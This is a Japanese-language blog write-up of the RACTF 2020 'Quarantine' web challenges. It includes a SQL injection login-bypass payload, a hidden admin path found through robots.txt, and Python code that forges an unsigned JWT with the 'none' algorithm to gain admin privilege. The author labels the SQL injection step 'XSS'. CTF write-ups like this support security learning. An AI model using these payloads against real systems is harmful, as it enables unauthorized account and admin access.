はまやんはまやんはまやん

hamayanhamayan's blog

Quarantine / Quarantine - Hidden information / Getting admin / Finding server information [Really Awesome CTF 2020 / RACTF 2020]

https://ctftime.org/event/1051

http://88.198.219.20:31901/

Quarantine
See if you can get access to an account on the webapp.
Quarantine - Hidden information
Challenge instance ready at 88.198.219.20:31901.
We think there's a file they don't want people to see hidden somewhere! See if you can find it, it's gotta be on their webapp somewhere...
どこかに隠された人に見られたくないファイルがあるんだと思う!どこかのウェブアプリのどこかにあるはずだから、それを見つけられるかどうか見てみよう。
Getting admin
See if you can get an admin account.
Look into JWTs, specifically the none algorithm.
Finding server information
See if you can find the source, we think it's called app.py
That URL looks like it might be vulnerable to LFI... if only we could get around Nginx filtering ../

f:id:hamayanhamayan:20200611080900p:plain

とりあえずユーザー登録と思ったが、オープンしていなかった。
ログイン画面でログインしてみる。
'を入れてみると500エラー。XSSしよう。

XSS

とりあえずBurpでuser=admin&pass='+or+1%3d1+--を投げると、成功する。

Attempting to login as more than one user!??

2つ以上のユーザーが出てくることが気に食わないらしい。
1つに絞るようにしよう。
user=admin&pass='+or+1%3d1+limit%201--

You should be redirected automatically to target URL: /videos. If not click the link.

ビデオページへリダイレクトされた。

f:id:hamayanhamayan:20200611080917p:plain

これがQuarantineの答え。

Quarantine - Hidden information

より簡単なこっちの答えがないぞ。
とりあえずソースコードを洗ってみるが怪しい所はない。
/robots.txtを見てみると、disallowがある。これか… /admin-stashに行くとフラグがある。

Getting admin

ヒントを見た。jwtのnoneにするやつらしい。
以下コードで作っていれてみると、ログイン状態は解除されないから、algorithm='none'は機能しているようだ。

import jwt

payload = {
  "user": "Admin",
  "privilege": 2
}

res = jwt.encode(payload, '', algorithm='none')
print(res)

Finding server information

ヒントをがっつり見たけど、LFIと言えば、このあたりだろう。
/watch/HMHT.mp4

/watch/app.pyで出てくる。